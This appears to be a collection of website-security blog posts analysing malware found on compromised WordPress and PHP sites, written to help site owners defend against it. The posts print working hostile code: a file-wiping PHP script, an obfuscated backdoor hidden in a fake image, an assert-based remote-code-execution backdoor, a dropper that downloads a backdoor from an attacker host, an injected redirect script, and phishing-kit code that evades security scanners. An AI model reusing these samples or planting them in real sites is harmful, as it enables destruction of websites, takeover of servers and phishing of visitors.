PHP Script Nukes All Website Files

Most malware and spam that we come across has some sort of discernable purpose to it, usually something which benefits the attackers financially. This is often related to spam campaigns, credit card theft, spreading trojans/spyware or phishing scams. However, every so often we find something that defies this trend and is just downright evil. We found a PHP script named config-r.php in the root directory of a website that contained the following code:

<?php
//$dir = getcwd();
if ($_GET['id'] == 'red@<redacted>@delete') {
    $dir   = getcwd();
    $files = scandir($dir);
    if (@$_GET['doAction'] == 'delete') {
        rrmdir($dir);
    } else {
        echo '<br /><br /><a href="config-r.php?id=red@<redacted>@delete&doAction=delete">Yes, Delete AllFiles/Folders</a>';
    }
    echo "<br /><br />";
    echo "<pre>";
    print_r($files);
    echo "</pre>";
}
function rrmdir($dir1)
{
    if (is_dir($dir1)) {
        $objects = scandir($dir1);
        foreach ($objects as $object) {
            if ($object != "." && $object != "..") {
                if (filetype($dir1 . "/" . $object) == "dir") {
                    if ($object != 'config-r.php') {
                        rrmdir($dir1 . "/" . $object);
                    }
                } else {
                    if ($object != 'config-r.php') {
                        unlink($dir1 . "/" . $object);
                    }
                }
            }
        }
        reset($objects);
        @rmdir($dir1);
        echo '<br />Deleted All Files/Folders!<br />';
    }
}

This section of the code waits for the attacker to send a request to the php script:

if(@$_GET['doAction']=='delete')

Simply accessing this file in a web browser with doAction=delete added onto the URL and some sort of a pass code in the id parameter will recursively remove all website files and directories, effectively deleting the entire website file structure and contents. Interestingly, it does not remove the malicious php itself (config-r.php) and will remain on the server even after the big red button is pushed, so to speak.

Fortunately, the website on which we found this script was intact and the attackers had not yet nuked it into oblivion. My best guess is that whoever coded this either had an axe to grind against a particular website or just wanted to reap wanton destruction for the lulz.

If you don\'t want to leave your site existence at mercy of not so noble people, make sure you regularly back up your site and don\'t neglect website security.

Malicious Backdoor Hidden Inside Fake Image

During an incident response investigation, we detected an interesting backdoor that was hidden in a fake image. The attacker was quite creative in creating an attack that would work in two steps.


The attacker created two files. The first file was a normal looking php file that would include the fake image.  

Let’s review the content located in the php file: “./wp-content/themes/twentythirteen/images/3.php

<?phpinclude("check-db.jpg");?>

When looking at the code inside the file:  “./wp-content/themes/twentythirteen/images/3.php” we see a strange use of the include function that’s including check-db.jpg but that in itself is not malware.

Let’s go ahead and inspect the image "check-db.jpg". After trying to open the file in the browser it looked as if the image was corrupt, as nothing was displaying.

We then opened the file in a normal text editor and found the main source of the backdoor.

$_S="7RpdbxvH8d2A/8P6wvhIhJ+iZFsij07hyHFQp3Zip2gr…yATx5A1QePTKD1/kV6K8xfVv";$_A=strrev("esab")."64_".strrev("edoced");$_X=$_A('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1MpKSk7');$trd=strrev("taerc")."e_f".strrev("noitcnu");$ctel=$trd('$_S',$_X);$ctel($_S); ?>

Let’s work through the malicious code located inside the fake image “./wp-content/themes/twentythirteen/images/check-db.jpg” step by step to see how it works and how it enables the attacker to gain access to your website files.

First, the variable $_S contains all the malicious code and that will create the backdoor the attacker will use to gain access to your website.

$_S="7RpdbxvH8d2A/8P6wvhIhJ+iZFsij07hyHFQp3Zip2gr…yATx5A1QePTKD1/kV6K8xfVv";

The variable $_A contains the function base64_decode once it has been reversed by the strrev function. $_A before it’s been reversed by the strrev function

$_A=strrev("esab")."64_".strrev("edoced");

$_A after it’s been reversed by the strrev function$_A = "base64_decode";

The next step is where the hacker calls a base64_encoded string that will be decoded by the base64_decode function assigned to the $_A variable.

The $_X variable will be decoded by the function “base64_decode” and once complete it will contain the necessary code to execute and create the backdoor for the attacker.

$_X before it’s decoded by the “base64_decode” function

$_X = $_A('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkX1MpKSk7');

$_X after it’s been decoded by the “base64_decode” function

$_X = base64_decode(eval(gzinflate(base64_decode($_S))));

The variable $trd contains the function create_function but it needs to be reversed in order to be used.$trd before it’s been reversed by the strrev function

$trd=strrev("taerc")."e_f".strrev("noitcnu");

$trd after it’s been reversed by the strrev function

$trd  = “create_function”;$ctel$trd=“create_function”;$ctel=$trd('7Rpdb...',base64_decode(eval(gzinflate(base64_decode($_S)))););$ctel($_S);

Now the following variables $trd & $ctel will combine and execute all the functions to give the attacker full access to your website files/folders.


If you want to be sure that your website is not infected, or if you need help cleaning it up, let us know.

Protecting Phishing Pages via .htaccess

Phishers usually want to protect their pages from being detected by search engines and security companies. To achieve that, they add .htaccess files that deny access to their phishing directories from known IP addresses and networks. Depending on the scenario, if they are targeting a specific type of service (online banking for instance) attackers may allow only a set of visitors from a specific country to see that phishing page.


Though  attacker’s skillset may vary, some will just try to customize third-party scripts they find online and it’s not uncommon when they do it poorly. For example, one phishing campaign uses a bot blocking .htaccess file that can be easily found on the Internet. It really protects sites from unwanted bots, but has very little to do with search engines, security companies, and geographic regions (although it blocks some of them) - it just saves bandwidth.

deny from 216.163.255.1 # rpa.metlife.com bored employees
deny from 67.127.164.125 # DSL bandwidth waster
deny from 193.253.199. # france SE art-online.com bandwidth waster
deny from 80.179.254. # clown from Israel using downloader
deny from 64.37.103. # spambots and other non customers
deny from 69.61.12.100 # spambot from servershost.net

Along with the .htaccess file, there may be other files within the phishing structure, such as:  

  • Image directories (img/images) - These directories may contain logo, header/footer images & others related to phishing (Paypal, Banks, etc.).

Phishing the Right Phish

Social engineering techniques, like phishing, can be powerful in persuading users into performing specific actions or disclosing confidential information. In these types of scenarios, attackers look for vulnerable sites on the web to upload fake pages pretending to be trustworthy organizations, such as banks, email and payment services, etc.


During an incident response process, we identified a phishing directory called “login-apple-account” on the website’s root. When accessing the path via HTTP, a very well structured fake version of the Apple ID website would be displayed:

Although at first it may seem just a regular phishing attempt, the page would be displayed only to a very specific set of visitors.

This conditional attack implemented several evasion techniques to prevent access from different IP ranges, and in some cases, redirecting search engines, antivirus and anti-phishing companies to the official Apple ID website through raw header() calls:

header("Location: hXXps://www[.]google[.]ca/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwi_yey8kvzJAhWwj4MKHVp5ALcQFggcMAA&url=hXXps%3A%2F%2Fappleid[.]apple[.]com%2F&usg=AFQjCNF7841Jq5PLrYJwYDN8RkcZjuNVww");

For instance, the “login-apple-account/assets/includes/netcraft_check.php” file prevents the malicious page to be accessed if the user-agent matches Netcraft, an anti-phishing company, redirecting it to a Google search result page:

<?phpif ($v_agent == "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)") {        header("Location: hXXps://www[.]google[.]ca/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=;uact=8&ved=0ahUKEwi_yey8kvzJAhWwj4MKHVp5ALcQFggcMAA&url=hXXps%3A%2F%2Fappleid[.]apple[.]com%2F&usg=AFQjCNF7841Jq5PLrYJwYDN8RkcZjuNVww");die();}?>

Other files refer to the “login-apple-account/assets/includes/blacklist.dat”, which has quite a big list of IP ranges from several services, to prevent them from accessing the phishing page:

#  NETCRAFT IP RANGES194.52.68.0-194.52.68.255194.72.238.0-194.72.238.25583.138.182.72-83.138.182.7983.138.189.96-83.138.189.10381.91.240.0-81.91.255.25589.36.24.0-89.36.31.25583.222.232.216-83.222.232.218184.172.0.0-184.173.255.255#  KASPERSKY IP RANGES...

There were also several other AntiVirus and AntiPhishing companies’ IPs listed in that file so the phishing page would go unnoticed during a regular website crawl, therefore preventing the phishing URL to get into blacklists.

Even though it tries to hide itself via HTTP, it cannot stop a server-side scan, so our server-side scanner is able to detect and alert you asap about such phishing pages. If you’re looking for a security solution that helps you avoid such issues, let us know.

Undesired Redirects

Whether it is your own or a website you are visiting, undesired redirects and pop-ups are always annoying. The situation gets worse when your visitors start to get infected and your SEO ranking starts to drop.

During an Incident Response Investigation, we identified the following code in the header.php theme file:

< script type="text/javascript">document.write(unescape('%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%
74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%20%0d%0a%21%66%75%6e%63%74%69%6f%6e%28%29%7b%76%61%72%20%74%3b
%74%72%79%7b%66%6f%72%28%74%3d%30%3b%31%30%3e%74%3b%2b%2b%74%29%68%69%73%74%6f%72%79%2e%70%75%73%68%53%74%61%74%65
%28%7b%7d%2c%22%22%2c%22%22%29%3b%6f%6e%70%6f%70%73%74%61%74%65%3d%66%75%6e%63%74%69%6f%6e%28%74%29%7b%74%2e%73%74
%61%74%65%26%26%6c%6f%63%61%74%69%6f%6e%2e%72%65%70%6c%61%63%65%28%22%68%74%74%70%73%3a%2f%2f%67%6f%6f%2e%67%6c%2f
%75%52%77%74%79%49%22%29%7d%7d%63%61%74%63%68%28%6f%29%7b%7d%7d%28%29%3b%0d%0a%3c%2f%73%63%72%69%70%74%3e'));</script > 

If we decode it for easier viewing, this is the result:

document.write(unescape('<script type="text/javascript"> ! function() {
            var t;
            try {
                for (t = 0; 10 > t; ++t) history.pushState({}, "", "");
                onpopstate = function(t) {
                    t.state && location.replace("hxxps://goo.gl/uRwtyI")
                }
            } catch (o) {}
        }(); </script>'))

The malicious code above manipulates the browser history entries through the use of the pushState method() introduced in HTML5. In addition to that, the attackers emulated a “popstate” event that is dispatched to the browser window every time the active history entry changes. It basically means that if the visitor clicks on “Go back” in their browser (usually a left arrow beside your address bar), they would be redirected to that particular malicious goo.gl URL (hxxp://aliveforfun.com/random/).

These redirects range from leading visitors to rootkit distribution gateways (Exploit Kit), inadvertent ads and pop-ups, execution of unauthorized scripts, and much more. It’s devastating to both the website owner and their visitors and that’s why we recommend having a File Integrity Monitoring system in place to detect such injections in order to reduce its impact.

How Undefined Variables Can Give You RCE

When investigating a compromised website, our team has to make sure that all malware and backdoors are cleared from the environment. In some instances, these backdoors are easier to detect than others, but that's not always the case.

Attackers have been using different techniques to avoid detection with automated scanners, such as abusing of PHP tricks and abusing of spaces. In this article, we'll uncover another simple yet powerful method to execute commands remotely (RCE) while going undetected by regular scanners.

This obfuscation technique consists of adding undefined variables with string concatenation in order to allow RCE via the use of a PHP function called assert(). The code was injected into the WordPress file “./wp-includes/Requests/Exception/HTTP/511.php”. Here is the snippet:

error_reporting(0); $k="a"."".$sdfds."ss"."e".$jieos.""."rt"; $k/*;*/(/*;*/$/*;*/{"_".""."P".$esdwos."O"."S".$wmdir."T"} ['Derrtreuu54ew5']);

Please note that except for $k, all the other variables ($sdfds, $esdwos, ..) were not initialized. This would implicate in the following PHP Notice if it wasn’t for the error_reporting(0); declaration.

[Tue May 30 13:02:48.226182 2017] [:error] [pid 31554] [client 192.168.1.1:48152] PHP Stack trace:[Tue May 30 13:02:48.226185 2017] [:error] [pid 31554] [client 192.168.1.1:48152] PHP   1. {main}() /var/www/bd.php:0[Tue May 30 13:02:48.226241 2017] [:error] [pid 31554] [client 192.168.1.1:48152] PHP Notice:  Undefined variable: esdwos in /var/www/bd.php on line 5

After cleaning up the undefined variables and concatenating the strings (which were there only as a evasion technique), we can clearly see the backdoor:

assert($_POST['Derrtreuu54ew5']);

This snippet allows attackers to execute remote commands on the compromised website by sending a crafted $_POST request through the variable “Derrtreuu54ew5”.

As the malicious code was injected into the core WordPress structure (./wp-includes/…), a File Integrity Monitoring System would be able to quickly report these issues to the website owner and give them the chance in reducing damages to their online presence and SEO. Having regular backups of your files/database is also a great security measure to lessen the impacts of a compromise.

If you want to make sure your website is clean of backdoors that could be the entry point for infections and reinfections, let us know.

The elegant dropper – reusable code for PHP...

During our malware research role, we analyze hundreds (if not thousands) of malware samples every day. Quite often, highly-obfuscated techniques are used by attackers to avoid detection and maintain access to the compromised environment for as long as possible.


One of these techniques is called dropper, which consists of using “good code” (undetectable by scanners), to download and execute another piece of malicious code from an external resource. In this article, we’ll describe how attackers used not only that but also implemented different evasion techniques along the way.

The code begins with a few assignments:

...$shpath = $_SERVER['DOCUMENT_ROOT']."/wp-admin/admin-menu.php";$shf = FFGet("hxxp://[INFECTED.DOMAIN]/wp-booter.txt");...file_put_contents($shpath, $shf);

The first variable ($shpath) receives the path where the backdoor will be placed and the second one ($shf) downloads and stores the content of the wp-booter.txt file from a remote server (controlled by the attacker). After that, the backdoor assigned to $shf is written into $shpath through file_put_contents().

Please note the function FFGet() which basically mimics the file_get_contents() and curl_init() as a fail-safe to download the backdoor. Here is a small snippet:

    if(strlen($file_contents)<1&&function_exists('curl_init')){       try       {            $file_contents ="";            $ch = curl_init();            $timeout = 30;            curl_setopt($ch,CURLOPT_URL,$url);            curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);            curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);            curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);            curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);            curl_setopt($ch,CURLOPT_USERAGENT,$user_agent);            $file_contents = curl_exec( $ch);            curl_close( $ch );

In addition to that, if the content of $file_contents is either unavailable or nonexistent, the dropper will elegantly display a standard “HTTP 503 Apache Error”.

if($file_contents=="503"||$file_contents==""){  ob_start();  header('HTTP/1.1 503 Service Temporarily Unavailable');  header('Status:  503 Service Temporarily Unavailable');  header('Retry-After:1200');  header('X-Powered-By:Apache');  exit();}

If everything works as planned for the attacker, the file $shpath ($_SERVER['DOCUMENT_ROOT']."/wp-admin/admin-menu.php"; will contain the backdoor located inside the file wp-booter.txt.

This technique (malware dropper) is often used because although the file wp-admin/admin-menu.php could be easily detected and removed, attackers would still be able to reinsert the backdoor by executing the dropper.

To detect these issues, we highly recommend having a File Integrity Monitoring System in place and clean backups of your files and database. If a compromise happens, you’d be more equipped to restore the website and prevent any damages to your online presence and SEO.